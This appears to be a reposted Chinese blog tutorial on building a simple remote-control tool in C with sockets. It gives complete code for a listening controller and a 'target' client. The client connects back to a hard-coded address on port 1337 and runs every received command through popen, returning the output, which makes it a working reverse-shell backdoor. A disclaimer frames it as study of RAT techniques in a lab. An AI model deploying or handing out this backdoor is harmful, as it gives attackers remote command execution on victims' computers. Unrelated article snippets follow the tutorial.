【 利用socket来实现简单远控】

利用socket来实现简单远控

      • 🔹 免责声明
      • ⚠️ 重要提示
      • 一、什么是socket?
      • 二、如何使用socket来实现两台计算机之间的通信?
      • 服务端
        • 1、首先需要创建一个socket;
        • 2、绑定IP以及端口
        • 3、开启监听
        • 4、接受客户端连接
        • 5、客户端连接上之后就是命令执行
        • 完整的服务端代码
      • 客户端
        • 1、首先就是创建一个socket并且连接到远程计算机
        • 2、之后就是利用while循环来执行服务端发送过来的命令
        • 完整的客户端代码

🔹 免责声明

本篇文章仅用于 技术研究、网络安全学习与合法运维管理,旨在帮助理解 Socket 网络编程远程控制技术(RAT) 的实现原理。所有示例代码和技术讲解均在本地运行。

⚠️ 重要提示

  • 严禁 在未经授权的情况下,擅自使用本文涉及的技术对任何计算机、服务器或网络进行未经许可的访问、控制或破坏。
  • 严禁 将本文提供的知识用于非法目的,包括但不限于 恶意入侵、数据窃取、黑客攻击 等行为。
  • 任何因滥用本文技术所造成的法律责任,均由使用者自行承担,我本人及本文概不负责!

下边开始讲解如何利用socket来实现远程控制

远程控制,顾名思义就是使用本地计算机控制远程计算机,要实现两者之间的通信就是一个重要的问题,那么使用socket(又称作套接字)来实现两者之间的通信是一个不错的选择。

一、什么是socket?

socket(套接字)是网络编程中用于 两台计算机之间通信的端点。它是 TCP/IP 网络通信的基础,支持数据发送和接收,可以在本地或远程设备之间建立连接。

二、如何使用socket来实现两台计算机之间的通信?

在c语言中,socket主要用于TCP/IP或UDP,考虑通信的可靠性,可以使用socket来创建一个TCP通信的端点。

要实现远控,需要在本地计算机上运行一个服务端,并且在靶机上运行一个客户端,而socket就是两者实现通信的桥梁,下边就来介绍如何使用c语言编写服务端和客户端。

服务端

1、首先需要创建一个socket;
int sock_fd, client_socket_fd;struct sockaddr_in server_addr, client_addr;socklen_t addr_len = sizeof(client_addr);sock_fd = socket(AF_INET, SOCK_STREAM, 0);if (sock_fd == -1) {perror("❌ creat socket faild!\n");exit(1);}

可以看到存在一个结构体sockaddr_in,它定义在<netinet/in.h>头文件中;

struct sockaddr_in {sa_family_t    sin_family;   // 地址族,必须是 AF_INET(IPv4)in_port_t      sin_port;     // 端口号(需要用 htons() 转换)struct in_addr sin_addr;     // IP 地址(用 inet_addr() 或 inet_pton() 赋值)char           sin_zero[8];  // 填充字段(一般不用)
};
2、绑定IP以及端口
	server_addr.sin_family = AF_INET;server_addr.sin_addr.s_addr = inet_addr("192.168.239.131");server_addr.sin_port = htons(PORT);if( bind(sock_fd, (struct sockaddr *)&server_addr, sizeof(server_addr)) == -1){perror("❌ bind faild!\n");close(sock_fd);exit(1);}

可以看到这一步就定义了server_addr结构体中的sin_family、sin_addr、sin_port详细信息,因为我本地虚拟机的ip地址是192.168.239.131,因此我将server_addr.sin_addr.s_addr绑定为本地计算机ip地址;端口可以自己设置,一般使用比较大的端口,防止端口被占用。

3、开启监听
	if(listen(sock_fd, 5) == -1){perror("❌ listen faild!\n");close(sock_fd);exit(1);}

listen函数原型:

int listen(int sockfd, int backlog);

sockfd就是服务器socket文件描述符,也就是socket()的返回值;

backlog是最大等待连接数;

如果成功则返回0,失败则返回-1;

4、接受客户端连接
	client_socket_fd = accept(sock_fd, (struct sockaddr *)&client_addr, &addr_len);if (client_socket_fd == -1){perror("❌ connection faild!\n");close(sock_fd);exit(1);}

如果成功连接则返回一个新的socket文件描述符,失败则返回-1;

5、客户端连接上之后就是命令执行
	printf("✅ target is on!\n");execute_command(client_socket_fd);close(client_socket_fd);close(sock_fd);

运行完之后关闭进程;

execute_command():

void execute_command(int client_socket_fd){char buf[1024];char command[1024];int recv_bytes;while (1) {printf("shell>>");fgets(command, sizeof(command), stdin);if(send(client_socket_fd, command, strlen(command), 0) == -1){perror("❌ send faild!!\n");break;}memset(buf, 0, sizeof(buf));recv_bytes = recv(client_socket_fd, buf, sizeof(buf) - 1, 0);if (recv_bytes > 0){buf[recv_bytes] = '\0';printf("the output:\n%s\n", buf);}else if (recv_bytes == 0){perror("❌ recv message faild!!\n");break;} else {perror("❌ recv() faild!!\n");break;}}
}

通过send()、recv()函数来实现计算机之间的数据发送与接收;

这里我对与回显为空的命令强制返回了字符串,避免服务端因为接收不到数据而卡住的情况。

完整的服务端代码
//by lee
//https://blog.csdn.net/weixin_51055545?type=blog
//gcc server.c -o server
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>#define PORT 1337void banner(){printf("creat by Lee\n");printf("version 1.0\n");
}void execute_command(int client_socket_fd){char buf[1024];char command[1024];int recv_bytes;while (1) {printf("shell>>");fgets(command, sizeof(command), stdin);if(send(client_socket_fd, command, strlen(command), 0) == -1){perror("❌ send faild!!\n");break;}memset(buf, 0, sizeof(buf));recv_bytes = recv(client_socket_fd, buf, sizeof(buf) - 1, 0);if (recv_bytes > 0){buf[recv_bytes] = '\0';printf("the output:\n%s\n", buf);}else if (recv_bytes == 0){perror("❌ recv message faild!!\n");break;} else {perror("❌ recv() faild!!\n");break;}}
}int main(){banner();int sock_fd, client_socket_fd;struct sockaddr_in server_addr, client_addr;socklen_t addr_len = sizeof(client_addr);sock_fd = socket(AF_INET, SOCK_STREAM, 0);if (sock_fd == -1) {perror("❌ creat socket faild!\n");exit(1);}server_addr.sin_family = AF_INET;server_addr.sin_addr.s_addr = inet_addr("192.168.239.131");server_addr.sin_port = htons(PORT);if( bind(sock_fd, (struct sockaddr *)&server_addr, sizeof(server_addr)) == -1){perror("❌ bind faild!\n");close(sock_fd);exit(1);}if(listen(sock_fd, 5) == -1){perror("❌ listen faild!\n");close(sock_fd);exit(1);}printf("🕤 listing...\n");sleep(3);printf("🕤 waiting for target...\n");client_socket_fd = accept(sock_fd, (struct sockaddr *)&client_addr, &addr_len);if (client_socket_fd == -1){perror("❌ connection faild!\n");close(sock_fd);exit(1);}printf("✅ target is on!\n");execute_command(client_socket_fd);close(client_socket_fd);close(sock_fd);return 0;
}

客户端

1、首先就是创建一个socket并且连接到远程计算机
//by lee
//gcc server.c -o server
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>#define SERVER_IP "192.168.239.131"
#define SERVER_PORT 1337int main() {int sock;struct sockaddr_in server_addr;char command[1024];char result[4096] = {0};sock = socket(AF_INET, SOCK_STREAM, 0);if (sock == -1) {perror("❌ can not creat socket");exit(EXIT_FAILURE);}server_addr.sin_family = AF_INET;server_addr.sin_port = htons(SERVER_PORT);server_addr.sin_addr.s_addr = inet_addr(SERVER_IP);printf("🕤 wait for connection...");if (connect(sock, (struct sockaddr *)&server_addr, sizeof(server_addr)) == -1) {perror("❌ can not connect to server_ip");close(sock);exit(EXIT_FAILURE);}printf("✅ connect to  %s:%d success", SERVER_IP, SERVER_PORT);

道理和服务端一样,不赘述;

2、之后就是利用while循环来执行服务端发送过来的命令
    while (1) {memset(command, 0, sizeof(command));int recv_bytes = recv(sock, command, sizeof(command) - 1, 0);if (recv_bytes <= 0) {printf("❌ connection is break\n");break;}command[recv_bytes] = '\0';//确保接收到的命令完整;if (strncmp(command, "exit", 4) == 0) {printf("🔴 break connection\n");break;}FILE *fp = popen(command, "r"); // 执行command;if (fp == NULL) {char *error_msg = "❌ can not execute command\n";send(sock, error_msg, strlen(error_msg), 0);continue;}memset(result, 0, sizeof(result));fread(result, 1, sizeof(result) - 1, fp);if (strlen(result)==0){strcpy(result,"no output");//返回值为空,就强制返回no output;break;}result[strlen(result)] = '\0';pclose(fp);send(sock, result, strlen(result), 0);}
完整的客户端代码
//by lee
//gcc server.c -o server
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <unistd.h>#define SERVER_IP "192.168.239.131"
#define SERVER_PORT 1337int main() {int sock;struct sockaddr_in server_addr;char command[1024];char result[4096] = {0};sock = socket(AF_INET, SOCK_STREAM, 0);if (sock == -1) {perror("❌ can not creat socket");exit(EXIT_FAILURE);}server_addr.sin_family = AF_INET;server_addr.sin_port = htons(SERVER_PORT);server_addr.sin_addr.s_addr = inet_addr(SERVER_IP);printf("🕤 wait for connection...");if (connect(sock, (struct sockaddr *)&server_addr, sizeof(server_addr)) == -1) {perror("❌ can not connect to server_ip");close(sock);exit(EXIT_FAILURE);}printf("✅ connect to  %s:%d success", SERVER_IP, SERVER_PORT);while (1) {memset(command, 0, sizeof(command));int recv_bytes = recv(sock, command, sizeof(command) - 1, 0);if (recv_bytes <= 0) {printf("❌ connection is break\n");break;}command[recv_bytes] = '\0';if (strncmp(command, "exit", 4) == 0) {printf("🔴 break connection\n");break;}FILE *fp = popen(command, "r"); // execute shell commandif (fp == NULL) {char *error_msg = "❌ can not execute command\n";send(sock, error_msg, strlen(error_msg), 0);continue;}memset(result, 0, sizeof(result));fread(result, 1, sizeof(result) - 1, fp);if (strlen(result)==0){strcpy(result,"no output");break;}result[strlen(result)] = '\0';pclose(fp);send(sock, result, strlen(result), 0);}close(sock);return 0;
}

使用方法及运行效果

在本地计算机运行服务端

./server

在这里插入图片描述
此时等待靶机去连接;

在靶机中运行客户端

./client

在这里插入图片描述

此时再回到服务端计算机中,显示:
在这里插入图片描述

此时就可以输入命令来控制靶机了;

在这里插入图片描述

感兴趣的师傅们还可以在上述的代码进行添加和更改来添加更多功能!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/73719.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

数据可视化在特征分布对比中的应用

数据可视化在特征分布对比中的应用 1. 引言 在机器学习系统开发和维护过程中,特征分布对比是评估数据质量和模型鲁棒性的关键环节。当训练数据与测试数据分布存在偏差,或生产环境中的数据分布随时间发生变化时,模型性能通常会显著下降。有效的数据可视化不仅能帮助检测这些…

依赖倒置 DIP、依赖注入 DI、控制反转 IoC 和工厂模式

1. 依赖倒置 依赖倒置原则&#xff08;Dependency Inversion Principle, DIP&#xff09;是 SOLID 原则中的一项&#xff0c;其核心思想是通过抽象解耦高层模块和低层模块&#xff0c;使二者都依赖于抽象而非具体实现。 依赖反转/倒置的体现&#xff1a;传统依赖方向是高层模块…

UnitTest框架管理测试用例——python自动化测试

UnitTest框架 UnitTest是Python自带一个单元测试框架&#xff0c;常用它来做单元测试。 注意:对于测试来说&#xff0c;UnitTest框架的作用是 自动化脚本(用例代码)执行框架————(使用UnitTest框架来管理 运行多个测试用例的) 为什么使用UnitTest框架 能够组织多个用例去执…

Vue 过滤器深度解析与应用实践

文章目录 1. 过滤器概述1.1 核心概念1.2 过滤器生命周期 2. 过滤器基础2.1 过滤器定义2.2 过滤器使用 3. 过滤器高级用法3.1 链式调用3.2 参数传递3.3 动态过滤器 4. 过滤器应用场景4.1 文本格式化4.2 数字处理4.3 数据过滤 5. 性能优化与调试5.1 性能优化策略5.2 调试技巧 6. …

ngx_http_module_t

定义在 src\http\ngx_http_config.h typedef struct {ngx_int_t (*preconfiguration)(ngx_conf_t *cf);ngx_int_t (*postconfiguration)(ngx_conf_t *cf);void *(*create_main_conf)(ngx_conf_t *cf);char *(*init_main_conf)(ngx_conf_t *cf, void *conf);…

每日定投40刀BTC(9)20250312 - 20250315

定投截图 区块链相关新闻 BTC价格一度跌破8万美元 3月14日&#xff0c;BTC价格盘中跌破8万美元&#xff0c;最低报79,954.60美元&#xff0c;日内下跌1.34%&#xff0c;市场情绪一度转为谨慎 BTC价格波动背后的原因 经济环境变化、市场情绪波动以及政策监管动态是导致BTC价…

Matlab 汽车二自由度转弯模型

1、内容简介 Matlab 187-汽车二自由度转弯模型 可以交流、咨询、答疑 2、内容说明 略 摘 要 本文前一部分提出了侧偏角和横摆角速度作为参数。描述了车辆运动的运动状态&#xff0c;其中文中使用的参考模型是二自由度汽车模型。汽车速度被认为是建立基于H.B.Pacejka的轮胎模…

CentOS 6 YUM源切换成国内yum源

由于 CentOS 6 已于 2020 年 11 月进入 EOL&#xff08;End of Life&#xff09;&#xff0c;官方软件源已不再提供更新&#xff0c;因此你可能会遇到 yum makecache 命令失败的问题。以下是解决该问题的详细步骤&#xff1a; ### 解决方案 1. **备份原有 yum 源文件** bash …

Leetcode 3483. Unique 3-Digit Even Numbers

Leetcode 3483. Unique 3-Digit Even Numbers 1. 解题思路2. 代码实现 题目链接&#xff1a;3483. Unique 3-Digit Even Numbers 1. 解题思路 这一题其实是一个easy的题目&#xff0c;因为限制条件有限&#xff0c;最暴力的方法就是直接遍历一下100到999的全部数字&#xff…

《基于深度学习的高分卫星图像配准模型研发与应用》开题报告

目录 1. 选题的背景和意义 1.1 选题的背景 1.2 国内外研究现状 1.3 发展趋势 2&#xff0e;研究的基本内容 2.1 主要研究内容 &#xff08;1&#xff09;训练与测试数据集构建 &#xff08;2&#xff09;基于深度学习的高精度卫星影像配准模型 &#xff08;3&#xff0…

【Python 算法零基础 1.线性枚举】

我装作漠视一切&#xff0c;以为这样就可以不在乎 —— 25.3.17 一、线性枚举的基本概念 1.时间复杂度 线性枚举的时间复杂度为 O(nm)&#xff0c;其中 n是线性表的长度。m 是每次操作的量级&#xff0c;对于求最大值和求和来说&#xff0c;因为操作比较简单&#xff0c;所以 …

前端性能优化回答思路

前端性能优化是面试中经常涉及的一个话题&#xff0c;面试官通常希望了解你在实际项目中如何处理性能瓶颈&#xff0c;如何识别和优化性能问题。以下是一些前端性能优化的常见问题以及你可以用来回答的思路&#xff1a; 如何提升页面加载速度&#xff1f; 回答思路&#xff1…

02-Canvas-fabric.ActiveSelection

fabric.ActiveSelection fabric.ActiveSelection 用于表示当前选中的多个对象&#xff08;即多选状态&#xff09;。 当用户在画布上选择多个对象时&#xff0c;Fabric.js 会自动将这些对象包装在fabric.ActiveSelection 实例中&#xff0c;以便统一操作&#xff08;如移动、缩…

Leetcode——151.反转字符串中的单词

题解一 思路 最开始的想法是把一个字符串分为字符串数组&#xff0c;但是不知道一共有几个单词&#xff08;当时没想起来split()&#xff09;&#xff0c;所以选择了用ArrayList储存字符串&#xff0c;在输出时没有考虑ArrayList可以存储空字符串&#xff0c;所以最开始的输出…

Oracle检索数据

一、Oracle用户模式与模式 对象 1.概念 模式就是数据库对象的集合&#xff0c;数据库对象包括表、函数、索引、视图、过程。 2.示例模式scott SQL> select table_name from user_tables;TABLE_NAME ------------------------------------------------------------------…

Java学习------static、final、this、super关键字

1. static关键字 static修饰的变量叫做静态变量。当所有对象的某个属性的值是相同的&#xff0c;建议将该属性定义为静态变量&#xff0c;来节省内存的开销。静态变量在类加载时初始化&#xff0c;存储在堆中。static修饰的方法叫做静态方法。所有静态变量和静态方法&#xff…

一个简单的 **猜数字游戏** 的 C 语言例程

一个简单的 猜数字游戏 的 C 语言例程&#xff0c;代码包含详细注释&#xff0c;适合学习和练习基础语法&#xff1a; #include <stdio.h> #include <stdlib.h> #include <time.h> // 用于生成随机数种子int main() {int target, guess, attempts 0;srand…

Keepalived 多主模型与 LVS 高可用

一.Keepalived多主模型 Keepalived多主模型概念 如上图&#xff0c;keepalived主从架构性能损耗较严重&#xff0c;如果业务分类明确&#xff0c;则可以配置keepalived多主模型降低损耗&#xff0c;两台keepalived互为主备&#xff0c;如&#xff1a;订单业务走keepalived1&am…

RISCV虚拟化环境搭建

概要 本文记搭建 RISCV 虚拟化环境的流程。 整体架构 我们使用 QEMU 来模拟 RISCV 的各种硬件扩展环境&#xff0c;通过 QEMU 启动 Ubuntu 作为我们的 Host 来在 Host 之中通过 KVMTOOL 来运行 Guest&#xff0c;学习 RISCV 的虚拟化。 目前我的 X86_64 主机使用的是 Ubunt…

书摘 ASP.NET Core技术内幕与项目实战:基于DDD与前后端分离

IT行业的发展瞬息万变,新技术层出不穷,很多技术人员出于个人兴趣、个人职业发展等考虑而选择一些流行的新技术,他们会把各种复杂的架构模式、高精尖的技术都加入架构中,这增加了项目的复杂度、延长了交付周期、增加了项目的研发成本。有些技术并不符合公司的情况,最后项目…